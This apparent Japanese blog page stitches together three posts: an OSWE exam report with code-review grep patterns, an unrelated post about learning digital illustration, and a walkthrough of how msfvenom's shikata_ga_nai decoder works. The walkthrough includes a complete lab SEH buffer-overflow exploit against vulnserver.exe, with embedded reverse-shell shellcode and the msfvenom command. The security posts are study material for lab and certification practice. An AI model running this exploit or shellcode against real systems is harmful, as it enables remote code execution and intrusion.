3/29 16:00 3つ目のAuthBypass(RCE)を探す。うまく行かなければ次のやつにチェンジ。
3/29 18:00 4つ目のAuthBypass(RCE)を探す。うまく行かなければ次のやつにチェンジ。
3/29 20:00 ここまでで1つのマシンと1つのAuthBypassがあればVeryGood!ほぼ合格!一つのマシンならまだ全然耐えてる。一つのAuthBypassでもギリ耐えてるはず!ごはん
3/29 20:30 1つ目のRCE(AuthBypass)を探す。うまく行かなければ次のやつにチェンジ。
3/29 22:30 2つ目のRCE(AuthBypass)を探す。うまく行かなければ次のやつにチェンジ。
3/30 00:30 3つ目のRCE(AuthBypass)を探す。うまく行かなければ次のやつにチェンジ。
3/30 02:30 4つ目のRCE(AuthBypass)を探す。うまく行かなければ次のやつにチェンジ。
3/30 04:30 ここまでで85以上あれば合格!まだ足りてなくても何とかなる!その場合は今から寝ずに粘る!。粘り1
3/30 06:30 粘り2
3/30 08:30 粘り3
3/30 10:30 粘り4。あと1時間15分
3/30 11:45 ここで終了

試験の現実

日程 内容
3/28 11:30 試験開始30分前なのでVM起動して机の前に待機してリラックスしてました
3/28 11:45 監督用ツールにログインして試験監督とパスポート見せたり部屋見せたりの事前準備
3/28 12:00 試験開始
3/28 14:08 一つ目のAuthentication bypass特定
3/28 16:32 一つ目のRCEゲット
3/28 18:15 いろいろわかってなくててこずったけどPoC完成
3/28 20:30 ごはん食べる
3/28 22:05 二つ目のAuthentication bypassゲット
3/29 01:28 二つ目のRCEもゲット
3/29 03:31 二つ目のPoC完成。100点ゲット。あとはレポートだけ。いったん寝る
3/29 10:00 起床してレポート書き始める
3/30 04:00 レポート書き終わって何回も確認してOKそうだったので提出。ここで試験も自主終了

試験の感想とアドバイス

結局15時間で100点分ゲットしてかなり余裕のある試験となりました。二日目はずっとだらだらレポート書いてました。
難易度的には他の方と同じ意見で、そんなに難しくはなかったです。基本的にはPDFで学んだことが試験に出るのでOSCPみたいに何が出るかわからないって感じではないです。というかOSCP24時間って改めて思うとおかしいですね。36時間くらいあっていいのではって思います笑。PDFのExcercise, Extra Miles, Labマシンはすべて完了することを強くお勧めします。
コースの内容的にはOSCPよりも難しいですが、PDFを理解できてるなら試験は問題ないと思います。
アドバイスとしては、最終的に一つのPythonスクリプトを実行するだけでAuthentication bypassとRCEしてReverse shellが降ってくるようにする必要があるのですが、ローカルのKaliでは動作してるけど試験で与えられる予備のKali VMでは動かないみたいなことが起こりうるので基本的には予備のKali VMでPoCを実行するといいと思います。自分はローカルで127.0.0.1の8080のプロキシを経由するようにスクリプトを作成してBurpでデバッグできるように書いてたんですがそれを予備のKali上で実行すると動かなくてあぶねーとなりました。

あとはAnarkhさんの試験に対する取り組み方が非常に参考になりました!ガチのがちがちで参考になりました!試験では性質上Authentication bypassの後にRCEができるのでそれを考慮すると脆弱性がありえる箇所はかなり絞れます。自分が試験10日前くらいにこの受験記を読んだのでタイミングがめちゃくちゃよかったです。
https://tento.hatenablog.com/entry/2021/03/11/061921

自分は試験レポートは最終的に77ページとなりました。OSCPの時同様Wordで書きましたが、正直めちゃくちゃやりづらかったです。他の方が言ってるMarkdownで書いたものをPDFに変換するツールでやればよかったなって思いました。
あといきなり試験レポート書く前に、ラボマシンの一つで試しにレポート書く練習をしました。

OSCPの時は試験前はめちゃくちゃ緊張してましたが今回は2回目なのであんまり緊張することなく受けることができました。自分は10日前に試験を予約しましたが結構ガラガラでした。
試験中はOSCPの時同様ボカロ・アニソンメドレーを聴いてました。画面共有してるので画面に映るたびに気まずかったです。
f:id:kakyouim:20210402025401p:plain

自分は事前に作成していたチートシート通りの手順でチェックしていってたので脆弱性を特定するまではほぼ作業って感じでした。 脆弱性発見が試験の一番難しい部分ですが、特定さえしてしまえばExploitはできるので落ち着いて作業すれば大丈夫だと思います。

脆弱性発見手法(我流)

BlackboxとWhiteboxの両方の観点でメモしていきます。

Blackbox

  • loginが必要なページとそうでないページの確認。
  • Burp Suiteのリクエスト内容を確認。
  • loginページ、Password forgotページ、SQLを実行してるっぽいページの確認

    Whitebox

  • watch -n1 -d 'find /tmp /usr /var /etc /home /opt -mmin -5 2> /dev/null'
    logファイルの更新とかファイルをアップロードしたときにどこにアップロードされるかを監視できるコマンド。
    5分前までに更新されたファイルを2秒おきにチェックします。結構便利だけどコースでは特に触れられてません。自分はいいと思います。
  • find . -name '*.sql' *.ini .htaccess *.sh
    初期設定とかDBのクレデンシャルとかが書かれてるファイルがあるかもなので一応チェック。
  • DataBaseらへん
    DBにアクセスするユーザーの権限によってできることがわかる。
    PostgreSQLのバージョンによってできるExploitが違う。
    DBのクレデンシャル情報を特定してログインして、テーブル名とかその中身とかを確認。ユーザー当たりのテーブルは特に要チェック
  • サーバーまわり
    PHPならバージョン確認(TypeJugglingはバージョンによって挙動が違う)
    Javaならweb.xmlとかの設定ファイル読む。
    .envファイルとか読む。
    webrootの場所を確認、書き込み権限の確認(FileUpload)
    ロギングの設定とかPHPのerror出力とかを設定する。
  • loginまわり
    loginまわりのコードを読めばそのアプリでのコードの雰囲気が大体わかる気がするのでまずここから毎回調べました(試験でも)。
    まずブラウザからログインページにアクセスして、適当にユーザーとパスワードを送信してみて、そのリクエストをBurpでチェックして、/loginとかusername=aaa&password=aaaとかのキーワードをチェックして/login,username,passwordとかで検索してどのファイルでログイン処理されてるのか特定する。
    そこで、送信したリクエストパラメータをどうやって取り出してるのか($_REQUEST[],requestParameter(),requestParams[]とか)をチェックする。
    そこで取り出した値をどういう風に使ってSQLを実行してるのかチェック。
    ここら辺をまずチェックしておけば、ルーティング、リクエストパラメータの扱い、DataBase周辺を理解できるのでその後のコードレビューがはかどる気がします。

    grepキーワード

  • SQL Injection
    query,select.*from,select.*request.*parameter,update,insert,sql,doGet[\s\S]*?select.*?\+
  • Password Reset
    reset,token,key,(reset|change)pass(word|wd)
  • XXE
    xml,parse,(SAXParserFactory|DOM4J|XMLInputFactory|TransformerFactory|javax.xml\.validation\.Validator|SchemaFactory|SAXTransformerFactory|XMLReader|XMLStreamReader|SAXBuilder|SAXReader|javax.xml\.bind\.Unmarshaller|XPathExpression|DOMSource|DocumentBuilder|StAXSource),simplexml_load_string,loadXML,simplexml
  • Weak Random
    java.util.Random,new Random(
  • XSS
    document.write
  • SSTI
    .render,template,(smarty|twig|velocity|freemarker|eval|mako|jinja|tornado|jade|pug|nunjucks|dot|dust|marko|ejs),render_template_string,render_template
  • File Upload
    upload,request\..*upload,path,file,request\..*filename,FileOutputStream,.getFileName(),move_uploaded_file,\$_FILES\[,tmp_name,extract,zip,extension,str_replace
  • Eval (Command) Injection
    eval(
  • Deserialize
    deser,readObject(,Type.GetType(,xmlSerializer,(readExternal|readUnshared|XStream),pickle.loads(,unserialize

参考資料

OSWEはOSCPと違って勉強方法がよくわからんくてやりづらいと思うのでもし何やればいいか何もわからん人は以下の資料を読むといいと思います。
基本は自分が確認した過去CTFの問題名とか解説記事、常設のリンクを載せてます。
他にもhackerOneのレポートはコードレビューの練習にいいと思います。

whiteboxについての資料

https://pentesterlab.com/exercises/codereview/course
https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
https://github.com/softwaresecured/secure-code-review-checklist
https://alex-labs.com/my-awae-review-becoming-an-oswe/
https://stacktrac3.co/oswe-review-awae-course/

grepベースの脆弱性発見

https://littlemaninmyhead.wordpress.com/2019/08/04/dont-underestimate-grep-based-code-scanning/
https://github.com/dustyfresh/PHP-vulnerability-audit-cheatsheet
https://github.com/wireghoul/graudit
https://find-sec-bugs.github.io/bugs_ja.htm

SQL Injection

Directry Traversal

InterKosenCTF 2020 miniblog(Docker環境有り)

SSTI

XSS

CTFでのXSSはCSPバイパスとかが主でXSS自体は簡単に見つかることが多いので、そういうやつは省略してますm(__)m
HackerOne CTF:Micro-CMS v1(常設)
Intigriti's December XSS Challenge 2020
以下のXSSまとめみたいな常設が良い。
http://bogus.jp/xsssample/
http://xss-quiz.int21h.jp/
https://domgo.at/cxss/example
XSS Challenge(セキュリティ・ミニキャンプ in 岡山 2018)(ただもう動いてなさそう…)
https://www.pentesteracademy.com/course?id=11

Deserialize

XXE

ASIS CTF Quals 2020 Treasury #1 #2
SHARKY CTF 2020 XXEXTERNALXX
FireShell CTF 2019 - Bad Injections
BsidesSF CTF 2019 - svgmagick
Nuit du Hack CTF Quals 2017 No Pain No Gain
Securinets CTF Quals 2019 Feedback
HamaCTF xmlvalidator
VolgaCTF-quals Shop quest

Command Injection

HackTheBox

HTBは基本的にBlackboxなのであんまりOSWEとは違うかなとは思いますが、Exploitを自分で書く練習としては良いかなと思います。
falafel
help
holiday
unattended
zipper
Celestial

以下のリンクにOSWEライクなマシンがまとまっています。BlackboxですがExploitの練習には使えると思います。
https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/htmlview#

最後に

最後まで読んでいただいてありがとうございます!
以前は脆弱性発見とかなんか難しそうで自分にはかなり先の話しそうだな…と思ってたんですが、OSWEの勉強をすることでそこら辺の必要な知識とかが明確になっていって驚きました。OSCPはTryHarderって感じの資格ですが、OSWEはそれよりKeepTryingって感じな気がします。慣れてるか慣れてないかの世界なのでやり続ければいずれ必ず到達できる資格だと思います。
自分のような初心者に向けて、脆弱性発見とかCVE取得への道の参考になれば幸いです!
なにかわからないこととか不明な点があればTwitterのDMで相談に乗ります!

お絵描き勉強記録

この記事は、Kyoto University Advent Calendar
adventar.org の5日目の記事です。

自己紹介

こんにちは!電気電子工学科3回生の高林です!普段はセキュリティの勉強をやっています。 最近はぺネトレの勉強にハマってHackTheBoxをやってます。
ですが今回はセキュリティとかのIT系の技術のことじゃなくてお絵描きのことを描こうと思います。 今までお絵描きをやってる的なことはほとんど言ったことないし絵も見せたことないので意外かもしれないですが、実は絵描いてます。

最近の絵

いきなりですが、最近描いた絵はこんな感じです。
f:id:kakyouim:20201204113816p:plain:w350
f:id:kakyouim:20201204113906p:plain:w350
武器持ってる女の子(オリジナル)のイラストが一番直近で2020 11/20~12/3の期間で描いてます。

1つ目の初音ミクのイラストがPixivのイラストルーキーランキングの285位にランキング入りしました!!!!ヤッタゼ!!!
f:id:kakyouim:20201204115237p:plain:w350
今までPixivでランキングにのることを当面の目標としていたので結構嬉しかったです!
次の目標は全体のデイリーランキングに載ることですかね…??
Pixivは以下です!

www.pixiv.net

絵師としての活動歴

僕が絵を描き始めたのは大学入学してからです。なので1回生から今まで合計2年半くらい経ってます。 ですが、2回生の春以降、セキュリテイキャンプ2019全国大会に応募したことをきっかけにセキュリティに軸足を置くようにして以降、絵を描くことはほとんどなくなっていき、そのあとの2019夏のロボコン、2020春ごろにとったOSCPらへんは一切絵からは離れていました。なので結局絵を描いてる期間は1年半の空白期間を除けば大体ちょうど1年になります。

ですが、2020の夏休みからお絵描きを再開することにしました。そこからお絵描きを継続して今に至っています。

絵の変遷

絵は結構描いてるのですが、わかりやすくするために初音ミクのイラストを比較したいと思います。
なお、ここから自分の絵について今考えてることを書きますが別にこれが正解というわけではないです。1年後に見たら「これ実は全然違う!ここが大事!」みたいに思うであろうなので!

2020 9/18

f:id:kakyouim:20201204120520p:plain:w300
2020 9/18

良い点

  • ポーズとしては顔の近くに手を持ってくることで顔付近に視線誘導している。
  • 大体全身描くことで空間がわかりやすい。左手を腰に当てることで体と左腕の間に隙間ができて、それが空間演出の補助になっている。
  • 髪のツインテールを多めに書くことで情報量をあげている。
  • キャラの感情がわかりやすい(笑っている)。
  • 「可愛い」をコンセプトとしており、それがわかるようなポーズ、表情になっている。

    改善点

  • 影の色が濁っている。このときはまだ[乗算]という合成モードを知らなくて、影とかほぼすべてを通常モードで描いている。 肌の影には暖色の赤系の色、髪や服の影には寒色の青系の色を乗算モードで乗せることで色の濁りを解消できるし深みも増す。
  • 顔がそもそも可愛くない。この時は顔の描き方特に決めてなくて毎回適当に描いてた。ある程度はちゃんと決めるべき。
  • 目が濁ってる。まつ毛が太すぎ。
  • 服の情報量が少なすぎる。スカート(プリーツ)やネクタイはもっとはためかせると情報量や動きがでるし、影ももっと参考資料を用意して描きこむべき。
  • 背景が謎。可愛い系を演出するための背景になっていない。キャラを描いてから背景描いたからテキトーでいいやってなってしまった。

    2020 10/11

    f:id:kakyouim:20201204120635p:plain:w300
    2020 10/11

    良い点

  • 顔の描き方をかなり変えて、違う日に描いても大体おなじ顔が描けるようになった。
  • 髪の塗りもまあまあうまくいっている。綺麗な感じに塗れている。
  • 目の色の濁りも解消された。
  • 肌も暖色系の影を乗算することで、それっぽい雰囲気になった。

    改善点

  • ポーズが意味不明。どういう感情でキャラがいるのかわかりにくい。
  • シチュエーション、コンセプトがふわふわしていて、「とりあえず水着描いておこう」という絵になってる。背景も無なので、ここに海が軽く描かれているだけでも一気に雰囲気は出たはず。
  • 水着の描きこみが少ない。もっとリボンやフリルを付ければ情報量が増して良くなるはず。参考資料もっといろいろ見るべき。
  • 肌の露出多すぎ。Pixivでセンシティブ判定食らってしまった。意図通りなら別にいいけどそういう意図は全くなかったので次は気を付けよう。
  • 肌の塗りは改善されてるが、まだ書き込みが足りてない。そもそもこういう肌の露出の多いイラストはうまく見せるのはかなり難しい。人体は人が普段見慣れているのでその分デッサンの狂いに気づきやすいため相当ムズイ。でもこれ描いたときはまだそれに気づいておらず、「服無いほうが楽でしょ!」と思っていた。
  • 線画が大きすぎるし色も薄い。この時は[濃い水彩]ブラシのサイズ10を使って描いていたが、これだと絵がしまらない。次からは[Gペン]のサイズ5を使うことにした。(今もそうしてる)
  • 自分の目指しているような神絵と比べて、全体的に情報量が少なすぎる。次からは「とにかく情報量を増やすべし!」と意識して描くようになった(今もそう)。

    2020 11/11

    f:id:kakyouim:20201204120731p:plain:w300
    2020 11/11

    良い点

  • 「情報量の多くする」というポリシーのもと、細部まで頑張って描いたので良くなっている。
  • 目はうまいこといっている。目には輝きを増やすために[焼きこみ]モードで彩度の強い水色を追加した。落ち着いた雰囲気というかクール系を表現するために目のハイライトは控えめにしている。
  • 髪の塗りはここから[これだけで塗る筆]に変えた。その結果厚みが増した気がする。また、頭の手前と奥の髪で明暗比をいつもの8割増しにいれた。こうすることで深度が上がってより立体感が表現できる。奥のツインテールには空気遠近法で背景に近い色をエアブラシでなじませた。
  • 全体的な色のバランス的に、黒がメインカラー、水色がサブカラー、ピンク色がアクセントカラーになっており、色彩の定石通りとなっている。黒とピンクの組み合わせが初音ミクの髪飾りと同じため統一感もでた。ここから初音ミクというキャラがいかに洗練されたデザインをしているかがわかる。
  • 服の塗りも影や質感まで意識して描いたのでまあまあ良くなったと思う。
  • 肌はほぼ見えていないが、目の近くのピンク色によって顔への視線誘導になっている。また、ガスマスク的なやつを描くことで顔の情報量が格段に上がったので良くなっている。この絵が良くなった一番の原因だと思う。
  • 全体的にサイバーパンク(人体と機械の融合)をテーマにして書いており、テーマがはっきりしていてわかりやすい。

    改善点

  • ポーズとサイバー感(かっこいい感じ)がミスマッチな気がする。少なくてもかっこいいポーズではない気がする。これは当初はカッコイイポーズを描こうと頑張ったけど、デッサン力が足りずに妥協してしまった。構図の勉強するべし。
  • 情報量がまだ足りてない!まだまだ足りてない!!!そもそも腰より上のアップのイラストにする必要がない。足まで描けば情報量も増えるし空間も表現できるのに。こうしなかったのは腰以下のデッサンがうまく行かなかったからです…。本来は全身描いたうえで左手には重火器とか機械とか持たせて、キャラの横にはカッコイイバイクとか車くらいの情報量を描かないといけないはず。そこまでしなくても、少なくとも上半身アップのイラストにしては描きこみが足りず情報量が少ない。
  • この絵を通じて何を伝えたいのかわからない。シチュエーションが設定されていない。背景に綺麗な建物なり夜景なり廃墟なりがあればよかったのでは。

とまあ、大体こんな感じのことを考えながら普段お絵描きしてます。多分いろいろ間違ってたりするけどまあヨシ! 

武器少女のイラスト解説

f:id:kakyouim:20201204113906p:plain:w350
このイラストは最後の初音ミクの次に描いた絵で情報量を増やすことにとにかく注意しました。
せっかくなのでこのイラストを描いた工程をメモ代わりに残しておきます。

大ラフ(構想)

まず「武器を持った女の子で、動きを表現したかっこいいイラストを描くぞ!」とテーマを決めます。
その次にやることはお絵描き!!………ではなくて参考資料集めです。とにかく自分の描きたい絵を想像しながら武器をもってる女の子をイラストをPixivで見まくります。今回は大体500枚くらいのイラストを参考資料として保存して、大体の構成を決めました。この作業に数日費やすこともありますが、めちゃくちゃ大事なのでやります(後で刀の細部ってどうなってんの?みたいなことになって調べだすと萎えるのであらかじめ調べておきます。)

f:id:kakyouim:20201204224130p:plain:w200
これが大体の素体です。「だいたいこんなポーズしてたらかっこいいのでは???」とか考えて描きました。
この時点では顔とか髪はどうでもいいので超テキトーに書きます。デッサンの狂いも基本的に無視で、”どういうポーズを描くのか”をとにかく決めちゃいます。修正は後回しです。

次はカラーラフ…が普通なんですが、今回は難しい構図なのでその前にいったんテキトーでいいので”何を描くのか”のラフを作ることにしました。
それが以下です。
f:id:kakyouim:20201204224612p:plain:w200

はい、全然可愛くないですね。デッサンも狂いまくりです。この時点では”刀を使う女子高生”を描こうかなと思ってたのですが、これだと情報量が少なくなると思ったので服装を変更しました。
それが以下です。
f:id:kakyouim:20201204224822p:plain:w200
黒のコートのはためき+着物(?)のはためき+マフラーのはためき、でかなり動きを表す情報量が増えた気がします。
背景は逆光にすることにします(その方が映えるので)。あと、前景(手前の物体。あると空間を表現できる)として砕かれたガラスを配置します。女の子が刀で手前のガラスを粉砕してる的な感じです。

カラーラフ

ここまで来たらやっとカラーラフです。カラーラフでは細部の描きこみをどうするか、デッサンの狂いなどの修正を行います。
まずは(ラフの)線画です。
f:id:kakyouim:20201204225415p:plain:w200

顔とか髪とか服の装飾を修正・追加しました。
これだけだと、まだデッサンの狂いが残っているかもしれないのでこれに色を載せます。

f:id:kakyouim:20201204225630p:plain:w200

ここで色も大体決めちゃいました。今回はカッコイイ系のイラストなので寒色(青)成分多めにすることにしました。
あとは、背景の追加です。

f:id:kakyouim:20201204225850p:plain:w200

逆光がいい感じになってます!
これでデッサンを微調整したあと遂に清書をします!

清書線画

f:id:kakyouim:20201204230337p:plain:w200

線画を清書しました。自分は目だけは線画は書かないことにしてます。ここではわかりやすいため目の清書の塗りも表示してます。
この工程はほとんどカラーラフを線画を綺麗にGペンで描く作業です。なのですが、今回は手前の刀のデッサンがかなりくるっていたのでここで修正しました。これはあんまりよくないです…。

清書

f:id:kakyouim:20201204230706p:plain:w200

線画をもとにキャラの塗りも清書しました。この段階はとにかく集めまくった参考資料を参考に情報量を追加していって絵の説得力を増やします。
こんな感じで背景+エフェクトも清書します。

f:id:kakyouim:20201204231024p:plain:w200

かなり良くなりました!!!

良さみを増す

これで完成!!!!………と思いきやまだです。
この絵、一応当初の想定通りに描いたはず…なんですが、なんか物足りない。その原因をあれこれ考えます。

まず全体的に色合いが暗い印象です。「逆光にすれば明るくなるやろ!!」と思ってたんですが服や髪などのベース色がそもそも暗めだったので思ったより明るくならず、黒く沈んでしまっています。

じゃあどうすんじゃいって感じなんですが、ここで集めまくった参考資料を見直して考えます。
その結果、「エフェクトに炎を付け足せば画面も明るくなるし、照り返しで服も明るくなるのでは??」と思いつきました。確かに鬼滅の刃で炭次郎のヒノカミカグラは色鮮やかで超カッコよかったですもんね!(は?)

f:id:kakyouim:20201204113906p:plain:w200

これで完成です!確かに色鮮やかになって見栄えが良くなった気がします!炎の色は紫色にしました(赤だと主張が強すぎたので)。

以上が今回のイラストが完成するまでの大まかな流れでした!
正直無駄な作業や微妙なことをしてることもあるかと思いますが、そこは許してください。初心者なので…。

お絵描きの勉強について

以下、個人的な意見です!これくらいの絵を描くために自分が大事だなと思ったことについて書きます。

絵の上達のコツみたいなのはいろいろあると思いますが、自分が一番いいと思うのはYoutubeのお絵描き初心者向け講座やメイキング動画、お絵描き添削動画を見ることです。

お絵描きって描けば描くほどいいように見えて実はそうじゃなかったりします。重要な概念(明度、彩度、明暗対比、補色対比、透視図法、乗算・加算・スクリーン等の合成モード、画角、アイレベル、消失点、構図、空気遠近法などなど)を知っているか知らないかで絵は180度変わります。これを本で学ぶのもいいですが、初心者の自分にはハードルがなかなか高かったのでわかりやすい動画で勉強してます。
自分は以下の方の動画を見まくってます!超わかりやすいです!!!!!
クリスタの基本的な機能や様々なテクニック、お絵描きに対する考え方などを紹介されていて超参考になります!!!

www.youtube.com

www.youtube.com

じぶんはさいとうなおきさんのYoutubeTwitterで教えてもらって動画を見るようになってからめちゃくちゃ成長できた気がします!!!

あとは、クリスタ(ClipStudioPaint)のAssetsにある便利素材もめちゃくちゃ大事な気がします。小技っぽいですがこういう知識があると、「ここはあの素材のブラシでこうしよ~」みたいな着想にもつながるので良いです!自分は素材をダウンロードしまくっています!

自分はこんな感じで勉強してるんですが、正直こういうやり方はしんどいです。自分の絵と神絵師の神絵を比較して改善点を探すのは良いことなんですがその絶望的な差がメンタルに来ることも結構あります。なんなら常にそうなってます。
なので、自分はこういう勉強をしているけどほかの人もこうすべき、と言うつもりはありません。お絵描きは本人が楽しくないとそもそも意味がないのでそこらへんを大事にしつつ、勉強もちょっと頑張る…くらいの意気込みがいいような気がしますね!

最後に

ここまで読んでくださってありがとうございます!
こんな感じで自分はお絵描きしてます。趣味程度に絵を描いてるつもりですが絵の勉強はまあまあガチめにやってます。神絵師になるぞ!!!
もちろんセキュリティの勉強もやるぞ!!!!
次の6日目はzekeさんです!

msfvenomで作成したpayloadのデコード動作を追う

概要

HackTheBoxやVulnhubに取り組む際にmsfvenomコマンドでReverseShellPayloadを作成してExploitを実行することは多いが、msfvenomによって作成されるペイロードshikataga_naiというエンコーダーによってエンコードされている。

今まではあんまりそのことを深く考えなくても動けばいいや的に考えていたが、さすがにそうもいかなくなってきた(自分が満足できなくなってきた)ので改めてエンコード・デコードの詳細を理解したいと思います。

encodeされたPayloadのdecodeの仕組み

まず、エンコードされたペイロードにはそれをデコードして元の意味のあるPayloadに直す部分が付いている。

 decodeする前
|  decodeする処理 |  <- ここはdecodeするための命令が書かれている。
|             ~              |  ReverseShellとは直接は関係ない
|  decodeする処理 | 
|  意味不明な命令  |  <- ここから下はencodeされており、
|  意味不明な命令  |       今のままでは意味のない命令が書き込まれている
|  意味不明な命令  |
|  意味不明な命令  |
|  意味不明な命令  |

   decodeした後
|  decodeする処理 | 
|             ~              |
|  decodeする処理 | 
| ReverseShellの動作 |  <- 意味不明な命令を"xor"などでdecodeすることで
| ReverseShellの動作 |       意味のある命令に!
| ReverseShellの動作 |  decodeした後はこの命令を実行していく!
| ReverseShellの動作 |

msfvenomでReverseShellPayloadを作成すると基本的に上のようなエンコードされたPayloadが作成される。(defaultでshikata_ga_naiを使用する)

ここで、
「これEncodeする意味あんの?直接ReverseShellのshellcodeぶち込めばいいやん」
という疑問がわいてくるが、これでは上手く動作しないことが多い。

例えば、Buffer Overflowでは何らかの入力に対して過剰な量を送り付けてスタックにPayloadをのせるが、大抵"\x00"(NULL bytes)を文字列の入力の終端としてとらえるため、この"\x00"以降の入力がスタックに載せられなくなってしまう。
つまり、Payloadに"\x00"が存在すると、完全なPayloadをスタックに積めなくなってしまう。これは"\x0a","\x0d"などの改行文字にも当てはまる(場合がある)。

よって、そのような"含まれてはいけない文字"を特定して、その文字抜きでPayloadを構成する必要がある。

事前準備

今回は、SEH overflowの脆弱性のあるプログラムを悪用する場合を考える。(今回の焦点はSEH overflowではないので知らなくても全然大丈夫です)
対象はWindows7(32bit)で動作しているvulnserver.exe
payloadにはmsfvenomで作成したものを使う。以下、使用するexploit code

import sys
import socket
host = "192.168.56.6"
port = 9999

badheader = "GMON /"
baddata = b"\x90" * 2773
#start payload
baddata += "\x90"*16
# sudo msfvenom -p windows/shell_reverse_tcp LPORT=4444 LHOST=192.168.56.5 -b "\x00\x0a\x0d" -f py --var-name baddata
baddata += b"\xd9\xc1\xd9\x74\x24\xf4\xbe\xcf\x6f\x35\xbb\x58"
baddata += b"\x31\xc9\xb1\x52\x31\x70\x17\x03\x70\x17\x83\x0f"
baddata += b"\x6b\xd7\x4e\x73\x9c\x95\xb1\x8b\x5d\xfa\x38\x6e"
baddata += b"\x6c\x3a\x5e\xfb\xdf\x8a\x14\xa9\xd3\x61\x78\x59"
baddata += b"\x67\x07\x55\x6e\xc0\xa2\x83\x41\xd1\x9f\xf0\xc0"
baddata += b"\x51\xe2\x24\x22\x6b\x2d\x39\x23\xac\x50\xb0\x71"
baddata += b"\x65\x1e\x67\x65\x02\x6a\xb4\x0e\x58\x7a\xbc\xf3"
baddata += b"\x29\x7d\xed\xa2\x22\x24\x2d\x45\xe6\x5c\x64\x5d"
baddata += b"\xeb\x59\x3e\xd6\xdf\x16\xc1\x3e\x2e\xd6\x6e\x7f"
baddata += b"\x9e\x25\x6e\xb8\x19\xd6\x05\xb0\x59\x6b\x1e\x07"
baddata += b"\x23\xb7\xab\x93\x83\x3c\x0b\x7f\x35\x90\xca\xf4"
baddata += b"\x39\x5d\x98\x52\x5e\x60\x4d\xe9\x5a\xe9\x70\x3d"
baddata += b"\xeb\xa9\x56\x99\xb7\x6a\xf6\xb8\x1d\xdc\x07\xda"
baddata += b"\xfd\x81\xad\x91\x10\xd5\xdf\xf8\x7c\x1a\xd2\x02"
baddata += b"\x7d\x34\x65\x71\x4f\x9b\xdd\x1d\xe3\x54\xf8\xda"
baddata += b"\x04\x4f\xbc\x74\xfb\x70\xbd\x5d\x38\x24\xed\xf5"
baddata += b"\xe9\x45\x66\x05\x15\x90\x29\x55\xb9\x4b\x8a\x05"
baddata += b"\x79\x3c\x62\x4f\x76\x63\x92\x70\x5c\x0c\x39\x8b"
baddata += b"\x37\xf3\x16\xab\xc2\x9b\x64\xcb\xdd\x07\xe0\x2d"
baddata += b"\xb7\xa7\xa4\xe6\x20\x51\xed\x7c\xd0\x9e\x3b\xf9"
baddata += b"\xd2\x15\xc8\xfe\x9d\xdd\xa5\xec\x4a\x2e\xf0\x4e"
baddata += b"\xdc\x31\x2e\xe6\x82\xa0\xb5\xf6\xcd\xd8\x61\xa1"
baddata += b"\x9a\x2f\x78\x27\x37\x09\xd2\x55\xca\xcf\x1d\xdd"
baddata += b"\x11\x2c\xa3\xdc\xd4\x08\x87\xce\x20\x90\x83\xba"
baddata += b"\xfc\xc7\x5d\x14\xbb\xb1\x2f\xce\x15\x6d\xe6\x86"
baddata += b"\xe0\x5d\x39\xd0\xec\x8b\xcf\x3c\x5c\x62\x96\x43"
baddata += b"\x51\xe2\x1e\x3c\x8f\x92\xe1\x97\x0b\xa2\xab\xb5"
baddata += b"\x3a\x2b\x72\x2c\x7f\x36\x85\x9b\xbc\x4f\x06\x29"
baddata += b"\x3d\xb4\x16\x58\x38\xf0\x90\xb1\x30\x69\x75\xb5"
baddata += b"\xe7\x8a\x5c"

baddata += "\x90"*(3518 - len(baddata))

baddata += "\xeb\x0f\x90\x90"
baddata += "\xb4\x10\x50\x62"
baddata += "\x59\xfe\xcd\xfe\xcd\xfe\xcd\xff\xe1\xe8\xf2\xff\xff\xff"
baddata += "D"*(4000-len(baddata))

print("Sending payload....")
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect((host,port))
s.send(badheader + baddata)
s.close()

Payload実行直前

以下のようになんやかんやして自分の用意したReverseShellPayloadに実行位置を制御できたとする。以下では、0x0171fcebからPayloadが始まる。
f:id:kakyouim:20200615003717p:plain
以下ではこの時のレジスタの状況である。
ここで重要なのはespである。ここがeipと同じ0x0171fceb(またはその近く)を指している場合、あとで面倒なことになる。
f:id:kakyouim:20200615003751p:plain

Decodeするとこ

ここで、Decodeする処理の部分は以下である。

FLD ST(1)     FPU命令。デコード命令のアドレスを取得する際に必要。
FSTENV (28-BYTE) PTR SS:[ESP-C]      [esp-0xc]のアドレスに、デコーダーの最初のFPU命令のアドレスを含む28bytes分を書き込む。
MOV ESI,BB356FCF     ESIを"xor"する際の片方として使う。
POP EAX            decode処理の先頭を指すアドレスをeaxに代入する。
XOR ECX,ECX     ECX(カウンタ)を初期化。このあとのループ処理の時に使う。
MOV CL,52    ECXの下位1バイトに"0x52"を代入。つまり、0x52回ループする。
XOR DWORD PTR DS:[EAX+17],ESI    [eax+17]=[0x0171fceb+17]=[0x0171fcfe]に、"xor"した値を書き込む!
ADD ESI,DWORD PTR DS:[EAX+17]    ESIにこの結果を保存する。
ADD EAX,4  (元OR DWORD PTR DS:[EDI]6B) eax+4しておくことで、次の[EAX+17]を"xor"で上書きする際に、次の4bytesにずらす
LOOPD SHORT 0x71FCFB (元XLAT BYTE PTR DS:[EBX+AL]) 以降はECXが0になるまでループを繰り返す。

FLD ST(1) 実行後

FPU命令。デコード命令のアドレスを取得する際に必要。
f:id:kakyouim:20200615011028p:plain
この時のレジスタは以下。
f:id:kakyouim:20200615011145p:plain
この時のスタックの様子は以下。
f:id:kakyouim:20200615011116p:plain

FSTENV (28-BYTE) PTR SS:[ESP-C] 実行後

[esp-0xc]のアドレスに、デコーダーの最初のFPU命令のアドレスを含む28bytes分を書き込む。
この命令を機能させるための要件は、少なくとも1つのFPU命令がこの命令の前に実行されることである。
f:id:kakyouim:20200615011423p:plain
f:id:kakyouim:20200615011452p:plain
ここで、espの指すアドレスに0171FCEBが代入されている。 これは、一つ前のFLD ST(1)のアドレスであり、デコード処理部分の基準となるアドレスである。
f:id:kakyouim:20200615011514p:plain
また、espから16bytes分が"0000"や"FFFF"で上書きされていることに注意したい。ここでは、[esp-0xc]に28bytes書き込むので、残りの16bytes(28-0xc)が書き込まれている。
もしこの時、ESPがPayloadの先頭を指している場合は、用意したPayloadが"0000"や"FFFF"で上書きされてしまうため、エラーとなる。
こういう状況は、SEH overflowじゃなくてバニラBOFの場合(EIPをjmp espのアドレスに書き換えるやつ)に起きる。
そのため、この場合は必ず"\x90"*16nopスレッドが必要となる。
これはなぜ必要なのかわかりにくく忘れがちであるが、必須である。
